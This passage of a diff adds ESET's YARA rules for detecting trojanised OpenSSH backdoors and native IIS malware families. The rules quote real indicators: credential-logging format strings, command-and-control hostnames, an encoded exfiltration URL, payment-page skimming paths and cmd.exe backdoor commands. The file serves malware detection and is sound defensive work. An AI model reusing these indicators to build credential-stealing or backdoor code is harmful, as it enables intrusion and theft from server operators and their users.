+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $s1 = "g_server"
+        $s2 = "mine.sock"
+        $s3 = "tspeed"
+        $e1 = "6106#x=%d#%s#%s#speed=%s"
+        $e2 = "usmars.mynetgear.com"
+        $e3 = "user=%s#os=%s#eip=%s#cpu=%s#mem=%s"
+
+    condition:
+        ssh_binary and any of them
+}
+
+rule borleias {
+    meta:
+        description = "Rule to detect Borleias family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log = "%Y-%m-%d %H:%M:%S [%s]"
+
+    condition:
+        ssh_binary and all of them
+}
+
+rule chandrila {
+    meta:
+        description = "Rule to detect Chandrila family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log = "S%s %s:%s"
+        $magic = { 05 71 92 7D }
+
+    condition:
+        ssh_binary and all of them
+}
+
+rule coruscant {
+    meta:
+        description = "Rule to detect Coruscant family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $s1 = "%s:%s@%s\n"
+        $s2 = "POST"
+        $s3 = "HTTP/1.1"
+
+    condition:
+        ssh_binary and all of them
+}
+
+rule crait {
+    meta:
+        description = "Signature to detect Crait family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $i1 = "flock"
+        $i2 = "fchmod"
+        $i3 = "sendto"
+
+    condition:
+        ssh_binary and 2 of them
+}
+
+rule endor {
+    meta:
+        description = "Rule to detect Endor family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $u = "user: %s"
+        $p = "password: %s"
+
+    condition:
+        ssh_binary and $u and $p in (@u..@u+20)
+}
+
+rule jakuu {
+    meta:
+        description = "Rule to detect Jakuu family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        notes = "Strings can be encrypted"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $dec = /GET\s\/\?(s|c)id=/
+        $enc1 = "getifaddrs"
+        $enc2 = "usleep"
+        $ns = "gethostbyname"
+        $log = "%s:%s"
+        $rc4 = { A1 71 31 17 11 1A 22 27 55 00 66 A3 10 FE C2 10 22 32 6E 95 90 84 F9 11 73 62 95 5F 4D 3B DB DC }
+
+    condition:
+        ssh_binary and $log and $ns and ($dec or all of ($enc*) or $rc4)
+}
+
+rule kamino {
+    meta:
+        description = "Rule to detect Kamino family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $s1 = "/var/log/wtmp"
+        $s2 = "/var/log/secure"
+        $s3 = "/var/log/auth.log"
+        $s4 = "/var/log/messages"
+        $s5 = "/var/log/audit/audit.log"
+        $s6 = "/var/log/httpd-access.log"
+        $s7 = "/var/log/httpd-error.log"
+        $s8 = "/var/log/xferlog"
+        $i1 = "BIO_f_base64"
+        $i2 = "PEM_read_bio_RSA_PUBKEY"
+        $i3 = "srand"
+        $i4 = "gethostbyname"
+
+    condition:
+        ssh_binary and 5 of ($s*) and 3 of ($i*)
+}
+
+rule kessel {
+    meta:
+        description = "Rule to detect Kessel family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $rc4 = "Xee5chu1Ohshasheed1u"
+        $s1 = "ssh:%s:%s:%s:%s"
+        $s2 = "sshkey:%s:%s:%s:%s:%s"
+        $s3 = "sshd:%s:%s"
+        $i1 = "spy_report"
+        $i2 = "protoShellCMD"
+        $i3 = "protoUploadFile"
+        $i4 = "protoSendReport"
+        $i5 = "tunRecvDNS"
+        $i6 = "tunPackMSG"
+
+    condition:
+        ssh_binary and (2 of ($s*) or 2 of ($i*) or $rc4)
+}
+
+rule mimban {
+    meta:
+        description = "Rule to detect Mimban family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $s1 = "<|||%s|||%s|||%d|||>"
+        $s2 = />\|\|\|%s\|\|\|%s\|\|\|\d\|\|\|%s\|\|\|%s\|\|\|%s\|\|\|%s\|\|\|</
+        $s3 = "-----BEGIN PUBLIC KEY-----"
+        $i1 = "BIO_f_base64"
+        $i2 = "PEM_read_bio_RSA_PUBKEY"
+        $i3 = "gethostbyname"
+
+    condition:
+        ssh_binary and 2 of ($s*) and 2 of ($i*)
+}
+
+rule ondaron {
+    meta:
+        description = "Rule to detect Ondaron family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $daemon = "user:password --> %s:%s\n"
+        $client = /user(,|:)(a,)?password@host \-\-> %s(,|:)(b,)?%s@%s\n/
+
+    condition:
+        ssh_binary and ($daemon or $client)
+}
+
+rule polis_massa {
+    meta:
+        description = "Rule to detect Polis Massa family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log = /\b\w+(:|\s-+>)\s%s(:%d)?\s\t(\w+)?:\s%s\s\t(\w+)?:\s%s/
+
+    condition:
+        ssh_binary and $log
+}
+
+rule quarren {
+    meta:
+        description = "Rule to detect Quarren family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $log = "h: %s, u: %s, p: %s\n"
+
+    condition:
+        ssh_binary and $log
+}
+
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These YARA rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2021, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+import "pe"
+
+private rule IIS_Native_Module {
+    meta:
+        description = "Signature to match an IIS native module (clean or malicious)"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $e1 = "This module subscribed to event"
+        $e2 = "CHttpModule::OnBeginRequest"
+        $e3 = "CHttpModule::OnPostBeginRequest"
+        $e4 = "CHttpModule::OnAuthenticateRequest"
+        $e5 = "CHttpModule::OnPostAuthenticateRequest"
+        $e6 = "CHttpModule::OnAuthorizeRequest"
+        $e7 = "CHttpModule::OnPostAuthorizeRequest"
+        $e8 = "CHttpModule::OnResolveRequestCache"
+        $e9 = "CHttpModule::OnPostResolveRequestCache"
+        $e10 = "CHttpModule::OnMapRequestHandler"
+        $e11 = "CHttpModule::OnPostMapRequestHandler"
+        $e12 = "CHttpModule::OnAcquireRequestState"
+        $e13 = "CHttpModule::OnPostAcquireRequestState"
+        $e14 = "CHttpModule::OnPreExecuteRequestHandler"
+        $e15 = "CHttpModule::OnPostPreExecuteRequestHandler"
+        $e16 = "CHttpModule::OnExecuteRequestHandler"
+        $e17 = "CHttpModule::OnPostExecuteRequestHandler"
+        $e18 = "CHttpModule::OnReleaseRequestState"
+        $e19 = "CHttpModule::OnPostReleaseRequestState"
+        $e20 = "CHttpModule::OnUpdateRequestCache"
+        $e21 = "CHttpModule::OnPostUpdateRequestCache"
+        $e22 = "CHttpModule::OnLogRequest"
+        $e23 = "CHttpModule::OnPostLogRequest"
+        $e24 = "CHttpModule::OnEndRequest"
+        $e25 = "CHttpModule::OnPostEndRequest"
+        $e26 = "CHttpModule::OnSendResponse"
+        $e27 = "CHttpModule::OnMapPath"
+        $e28 = "CHttpModule::OnReadEntity"
+        $e29 = "CHttpModule::OnCustomRequestNotification"
+        $e30 = "CHttpModule::OnAsyncCompletion"
+        $e31 = "CGlobalModule::OnGlobalStopListening"
+        $e32 = "CGlobalModule::OnGlobalCacheCleanup"
+        $e33 = "CGlobalModule::OnGlobalCacheOperation"
+        $e34 = "CGlobalModule::OnGlobalHealthCheck"
+        $e35 = "CGlobalModule::OnGlobalConfigurationChange"
+        $e36 = "CGlobalModule::OnGlobalFileChange"
+        $e37 = "CGlobalModule::OnGlobalApplicationStart"
+        $e38 = "CGlobalModule::OnGlobalApplicationResolveModules"
+        $e39 = "CGlobalModule::OnGlobalApplicationStop"
+        $e40 = "CGlobalModule::OnGlobalRSCAQuery"
+        $e41 = "CGlobalModule::OnGlobalTraceEvent"
+        $e42 = "CGlobalModule::OnGlobalCustomNotification"
+        $e43 = "CGlobalModule::OnGlobalThreadCleanup"
+        $e44 = "CGlobalModule::OnGlobalApplicationPreload"    
+    
+    condition:
+        uint16(0) == 0x5A4D and pe.exports("RegisterModule") and any of ($e*)
+}
+
+rule IIS_Group01_IISRaid {
+
+    meta:
+        description = "Detects Group 1 native IIS malware family (IIS-Raid derivates)"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "cmd.exe" ascii wide
+        $s2 = "CMD"
+        $s3 = "PIN"
+        $s4 = "INJ"
+        $s5 = "DMP"
+        $s6 = "UPL"
+        $s7 = "DOW"
+        $s8 = "C:\\Windows\\System32\\credwiz.exe" ascii wide
+        
+        $p1 = "C:\\Windows\\Temp\\creds.db"
+        $p2 = "C:\\Windows\\Temp\\thumbs.db"
+        $p3 = "C:\\Windows\\Temp\\AAD30E0F.tmp"
+        $p4 = "X-Chrome-Variations"
+        $p5 = "X-Cache"
+        $p6 = "X-Via"
+        $p7 = "COM_InterProt"
+        $p8 = "X-FFEServer"
+        $p9 = "X-Content-Type-Options"
+        $p10 = "Strict-Transport-Security"
+        $p11 = "X-Password"
+        $p12 = "XXXYYY-Ref"
+        $p13 = "X-BLOG"
+        $p14 = "X-BlogEngine"
+
+    condition:
+        IIS_Native_Module and 3 of ($s*) and any of ($p*)
+}
+
+rule IIS_Group02 {
+
+    meta:
+        description = "Detects Group 2 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "HttpModule.pdb" ascii wide
+        $s2 = "([\\w+%]+)=([^&]*)"
+        $s3 = "([\\w+%]+)=([^!]*)"
+        $s4 = "cmd.exe"
+        $s5 = "C:\\Users\\Iso\\Documents\\Visual Studio 2013\\Projects\\IIS 5\\x64\\Release\\Vi.pdb" ascii wide
+        $s6 = "AVRSAFunction"
+
+    condition:
+        IIS_Native_Module and 3 of ($s*)
+}
+
+rule IIS_Group03 {
+
+    meta:
+        description = "Detects Group 3 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "IIS-Backdoor.dll" 
+        $s2 = "CryptStringToBinaryA"
+        $s3 = "CreateProcessA"
+        $s4 = "X-Cookie"
+
+    condition:
+        IIS_Native_Module and 3 of ($s*)
+}
+
+rule IIS_Group04_RGDoor {
+
+    meta:
+        description = "Detects Group 4 native IIS malware family (RGDoor)"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        reference = "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $i1 = "RGSESSIONID="
+        $s2 = "upload$"
+        $s3 = "download$"
+        $s4 = "cmd$"
+        $s5 = "cmd.exe"
+
+    condition:
+        IIS_Native_Module and ($i1 or all of ($s*))
+}
+
+rule IIS_Group05_IIStealer {
+
+    meta:
+        description = "Detects Group 5 native IIS malware family (IIStealer)"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "tojLrGzFMbcDTKcH" ascii wide
+        $s2 = "4vUOj3IutgtrpVwh" ascii wide
+        $s3 = "SoUnRCxgREXMu9bM" ascii wide
+        $s4 = "9Zr1Z78OkgaXj1Xr" ascii wide
+        $s5 = "cache.txt" ascii wide
+        $s6 = "/checkout/checkout.aspx" ascii wide
+        $s7 = "/checkout/Payment.aspx" ascii wide
+        $s8 = "/privacy.aspx"
+        $s9 = "X-IIS-Data"
+        $s10 = "POST"
+
+        // string stacking of "/checkout/checkout.aspx"
+        $s11 = {C7 ?? CF 2F 00 63 00 C7 ?? D3 68 00 65 00 C7 ?? D7 63 00 6B 00 C7 ?? DB 6F 00 75 00 C7 ?? DF 74 00 2F 00 C7 ?? E3 63 00 68 00 C7 ?? E7 65 00 63 00 C7 ?? EB 6B 00 6F 00 C7 ?? EF 75 00 74 00 C7 ?? F3 2E 00 61 00 C7 ?? F7 73 00 70 00 C7 ?? FB 78 00 00 00}
+
+        // string stacking of "/privacy.aspx"
+        $s12 = {C7 ?? AF 2F 00 70 00 C7 ?? B3 72 00 69 00 C7 ?? B7 76 00 61 00 C7 ?? BB 63 00 79 00 C7 ?? BF 2E 00 61 00 C7 ?? C3 73 00 70 00 C7 ?? C7 78 00 00 00}
+
+    condition:
+        IIS_Native_Module and 3 of ($s*)
+}
+
+rule IIS_Group06_ISN {
+
+    meta:
+        description = "Detects Group 6 native IIS malware family (ISN)"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        reference = "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "isn7 config reloaded"
+        $s2 = "isn7 config NOT reloaded, not found or empty"
+        $s3 = "isn7 log deleted"
+        $s4 = "isn7 log not deleted, ERROR 0x%X"
+        $s5 = "isn7 log NOT found"
+        $s6 = "isn_reloadconfig"
+        $s7 = "D:\\soft\\Programming\\C++\\projects\\isapi\\isn7"
+        $s8 = "get POST failed %d"
+        $s9 = "isn7.dll"
+
+    condition:
+        IIS_Native_Module and 3 of ($s*)
+}
+
+rule IIS_Group07_IISpy {
+
+    meta:
+        description = "Detects Group 7 native IIS malware family (IISpy)"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "/credential/username"
+        $s2 = "/credential/password"
+        $s3 = "/computer/domain"
+        $s4 = "/computer/name"
+        $s5 = "/password"
+        $s6 = "/cmd"
+        $s7 = "%.8s%.8s=%.8s%.16s%.8s%.16s"
+        $s8 = "ImpersonateLoggedOnUser"
+        $s9 = "WNetAddConnection2W"
+
+        $t1 = "X-Forwarded-Proto"
+        $t2 = "Sec-Fetch-Mode"
+        $t3 = "Sec-Fetch-Site"
+        $t4 = "Cookie"
+
+        // PNG IEND
+        $t5 = {49 45 4E 44 AE 42 60 82}
+
+        // PNG HEADER
+        $t6 = {89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52}
+
+    condition:
+        IIS_Native_Module and 2 of ($s*) and any of ($t*)
+}
+
+rule IIS_Group08 {
+
+    meta:
+        description = "Detects Group 8 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $i1 = "FliterSecurity.dll"
+        $i2 = "IIS7NativeModule.dll"
+        $i3 = "Ver1.0."
+
+        $s1 = "Cmd"
+        $s2 = "Realy path : %s"
+        $s3 = "Logged On Users : %d"
+        $s4 = "Connect OK!"
+        $s5 = "You are fucked!"
+        $s6 = "Shit!Error"
+        $s7 = "Where is the God!!"
+        $s8 = "Shit!Download False!"
+        $s9 = "Good!Run OK!"
+        $s10 = "Shit!Run False!"
+        $s11 = "Good!Download OK!"
+        $s12 = "[%d]safedog"
+        $s13 = "ed81bfc09d069121"
+        $s14 = "a9478ef01967d190"
+        $s15 = "af964b7479e5aea2"
+        $s16 = "1f9e6526bea65b59"
+        $s17 = "2b9e9de34f782d31"
+        $s18 = "33cc5da72ac9d7bb"
+        $s19 = "b1d71f4c2596cd55"
+        $s20 = "101fb9d9e86d9e6c"
+    
+    condition:
+        IIS_Native_Module and 1 of ($i*) and 3 of ($s*)
+}
+
+rule IIS_Group09 {
+
+    meta:
+        description = "Detects Group 9 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings: 
+        $i1 = "FliterSecurity.dll"
+        $i2 = {56565656565656565656565656565656}
+        $i3 = "app|hot|alp|svf|fkj|mry|poc|doc|20" xor
+        $i4 = "yisouspider|yisou|soso|sogou|m.sogou|sogo|sogou|so.com|baidu|bing|360" xor
+        $i5 = "baidu|m.baidu|soso|sogou|m.sogou|sogo|sogou|so.com|google|youdao" xor
+        $i6 = "118|abc|1go|evk" xor
+
+        $s1 = "AVCFuckHttpModuleFactory"
+        $s2 = "X-Forward"
+        $s3 = "fuck32.dat"
+        $s4 = "fuck64.dat"
+        $s5 = "&ipzz1="
+        $s6 = "&ipzz2="
+        $s7 = "&uuu="
+
+        $s8 = "http://20.3323sf.c" xor
+        $s9 = "http://bj.whtjz.c" xor
+        $s10 = "http://bj2.wzrpx.c" xor
+        $s11 = "http://cs.whtjz.c" xor
+        $s12 = "http://df.e652.c" xor
+        $s13 = "http://dfcp.yyphw.c" xor
+        $s14 = "http://es.csdsx.c" xor
+        $s15 = "http://hz.wzrpx.c" xor
+        $s16 = "http://id.3323sf.c" xor
+        $s17 = "http://qp.008php.c" xor
+        $s18 = "http://qp.nmnsw.c" xor
+        $s19 = "http://sc.300bt.c" xor
+        $s20 = "http://sc.wzrpx.c" xor
+        $s21 = "http://sf2223.c" xor
+        $s22 = "http://sx.cmdxb.c" xor
+        $s23 = "http://sz.ycfhx.c" xor
+        $s24 = "http://xpq.0660sf.c" xor
+        $s25 = "http://xsc.b1174.c" xor
+
+    condition:
+        IIS_Native_Module and any of ($i*) and 3 of ($s*)
+}
+
+rule IIS_Group10 {
+
+    meta:
+        description = "Detects Group 10 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings: 
+        $s1 = "IIS7.dll"
+        $s2 = "<title>(.*?)title(.*?)>"
+        $s3 = "<meta(.*?)name(.*?)=(.*?)keywords(.*?)>"
+        $s4 = "<meta(.*?)name(.*?)=(.*?)description(.*?)>"
+        $s5 = "js.breakavs.co"
+        $s6 = "&#24494;&#20449;&#32676;&#45;&#36187;&#36710;&#80;&#75;&#49;&#48;&#32676;&#12304;&#36827;&#32676;&#24494;&#20449;&#102;&#117;&#110;&#53;&#55;&#54;&#52;&#52;&#12305;&#95;&#24184;&#36816;&#39134;&#33351;&#95;&#24184;&#36816;&#50;&#56;&#32676;"
+        $s7 = "&#21271;&#20140;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;&#32676;&#44;&#21271;&#20140;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#80;&#75;&#49;&#48;&#32676;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24494;&#20449;&#32676;&#44;&#80;&#75;&#49;&#48;&#24494;&#20449;&#32676;&#44;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#21271;&#20140;&#36187;&#36710;&#32676;&#44;"
+        $s8 = "&#21271;&#20140;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;&#32676;&#12304;&#36827;&#32676;&#24494;&#20449;&#21495;&#102;&#117;&#110;&#53;&#55;&#54;&#52;&#52;&#12305;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;&#32676;&#44;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;"
+
+        $e1 = "Baiduspider"
+        $e2 = "Sosospider"
+        $e3 = "Sogou web spider"
+        $e4 = "360Spider"
+        $e5 = "YisouSpider"
+        $e6 = "sogou.com"
+        $e7 = "soso.com"
+        $e8 = "uc.cn"
+        $e9 = "baidu.com"
+        $e10 = "sm.cn"
+
+    condition:
+        IIS_Native_Module and 2 of ($e*) and 3 of ($s*)
+}
+
+rule IIS_Group11 {
+
+    meta:
+        description = "Detects Group 11 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings: 
+        $s1 = "DnsQuery_A"
+        $s2 = "&reurl="
+        $s3 = "&jump=1"
+
+        // encrypted "HTTP_cmd" (SUB 2)
+        $s4 = "JVVRaeof" 
+
+        // encrypted "lanke88" (SUB 2)
+        $s5 = "ncpmg::0"
+
+        // encrypted "xinxx.allsoulu[.]com" (SUB 2)
+        $s6 = "zkpzz0cnnuqwnw0eqo" 
+
+        // encrypted "http://www.allsoulu[.]com/1.php?cmdout=" (SUB 2)
+        $s7 = "jvvr<11yyy0cnnuqwnw0eqo130rjrAeofqwv?"
+
+    condition:
+        IIS_Native_Module and 3 of ($s*)
+}
+
+rule IIS_Group12 {
+
+    meta:
+        description = "Detects Group 12 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings: 
+        $s1 = "C:\\inetpub\\temp\\IIS Temporary Compressed Files\\"
+        $s2 = "F5XFFHttpModule.dll"
+        $s3 = "gtest_redir"
+        $s4 = "\\cmd.exe" nocase
+        $s5 = "iuuq;00" // encrypted "http://" (ADD 1)
+        $s6 = "?xhost="
+        $s7 = "&reurl="
+        $s8 = "?jump=1"
+        $s9 = "app|zqb"
+        $s10 = "ifeng|ivc|sogou|so.com|baidu|google|youdao|yahoo|bing|118114|biso|gougou|sooule|360|sm|uc"
+        $s11 = "sogou|so.com|baidu|google|youdao|yahoo|bing|gougou|sooule|360|sm.cn|uc"
+        $s12 = "Hotcss/|Hotjs/"
+        $s13 = "HotImg/|HotPic/"
+        $s14 = "msf connect error !!"
+        $s15 = "download ok !!"
+        $s16 = "download error !! "
+        $s17 = "param error !!"
+        $s18 = "Real Path: "
+        $s19 = "unknown cmd !"
+
+        // hardcoded hash values
+        $b1 = {15 BD 01 2E [-] 5E 40 08 97 [-] CF 8C BE 30 [-] 28 42 C6 3B}
+        $b2 = {E1 0A DC 39 [-] 49 BA 59 AB [-] BE 56 E0 57 [-] F2 0F 88 3E}
+
+    condition:
+        IIS_Native_Module and 5 of them
+}
+
+rule IIS_Group13_IISerpent {
+
+    meta:
+        description = "Detects Group 13 native IIS malware family (IISerpent)"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings: 
+        $s1 = "/mconfig/lunlian.txt"
+        $s2 = "http://sb.qrfy.ne"
+        $s3 = "folderlinkpath"
+        $s4 = "folderlinkcount"
+        $s5 = "onlymobilespider"
+        $s6 = "redirectreferer"
+        $s7 = "loadSuccessfull : "
+        $s8 = "spider"
+        $s9 = "<a href="
+        $s11 = "?ReloadModuleConfig=1"
+        $s12 = "?DisplayModuleConfig=1"
+
+    condition:
+        IIS_Native_Module and 5 of them
+}
+
+rule IIS_Group14 {
+
+    meta:
+        description = "Detects Group 14 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings: 
+        $i1 = "agent-self: %s"
+        $i2 = "/utf.php?key="
+        $i3 = "/self.php?v="
+        $i4 = "<script type=\"text/javascript\" src=\"//speed.wlaspsd.co"
+        $i5 = "now.asmkpo.co"
+
+        $s1 = "Baiduspider"
+        $s2 = "360Spider"
+        $s3 = "Sogou"
+        $s4 = "YisouSpider"
+        $s6 = "HTTP_X_FORWARDED_FOR"
+
+
+    condition:
+        IIS_Native_Module and 2 of ($i*) or 5 of them
+}
+
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2022, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
